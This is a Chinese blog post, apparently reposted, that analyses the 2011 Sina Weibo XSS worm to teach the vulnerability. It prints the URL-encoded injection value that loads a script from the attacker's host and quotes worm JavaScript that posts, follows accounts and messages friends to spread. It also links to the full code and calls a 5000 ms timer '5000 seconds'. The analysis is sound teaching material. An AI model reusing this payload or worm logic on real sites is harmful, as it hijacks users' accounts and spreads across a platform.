XSS-从weibo蠕虫事件学习

简介:

    XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

     

    Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):

     

    sina的名人堂页面页面上存在这么个链接

    <a href="http://weibo.com/pub/star/g/123">这个是xss</a>

     

    其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了):

    Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'

     

    其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。

    这样的html就是存在xss漏洞

     

    好了,这个漏洞被发现了,下面要利用它做什么呢?

    1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    这样这个url就变成了

    clip_image001

    其中的引号被封闭了,然后这个页面自动运行了一段js脚本

     

    这个js脚本做了这样的事情:

    1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)

    2 加关注uid为2201270010

    3 发私信,向好友传播链接

     

    js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    try {
     
    x= "g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)" ;window.opener.eval(x);
     
    }
     
    catch (e){}
     
    main();
     
    var  t=setTimeout( 'location="http://weibo.com/pub/topic";' ,5000);

     

    其中就是在打开的页面加入了<script节点>,并执行

    main中是发送微博,加关注,发私信三个动作

    当5000秒后,当前页重新定位到public/topic上

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    function main(){
     
    try {
     
    publish();
     
    }
     
    catch (e){}
     
    try {
     
    follow();
     
    }
     
    catch (e){}
     
    try {
     
    message();
     
    }
     
    catch (e){}
     
    }
    比如

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function publish(){
     
    url = 'http://weibo.com/mblog/publish.php?rnd='  + new  Date().getTime();
     
    data = 'content='  + random_msg() + '&pic=&styleid=2&retcode=' ;
     
    post(url,data, true );
     
    }

    模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题

     

    直接post就可以产生这个效果

     

    注:这次事件中还用到了短链接服务

    短链接服务能自定义用户链接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    这么长一个链接能变为http://t.cn/atmcqn

    这样能增加用户的点击成功率

     

    事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!

     

    本文转自轩脉刃博客园博客,原文链接:http://www.cnblogs.com/yjf512/archive/2012/03/08/2385093.html,如需转载请自行联系原作者


相关文章
|
安全 网络安全 内存技术
网络安全——xss漏洞之最全事件函数汇总
还在为xss漏洞找不到而发愁?看看这篇最全xss攻击函数汇总在说
541 0
网络安全——xss漏洞之最全事件函数汇总
|
1月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
99 49
|
5月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
91 4
|
1月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
73 2
|
1月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
94 3
|
1月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
40 0
|
3月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
566 1
|
2月前
|
存储 JavaScript 安全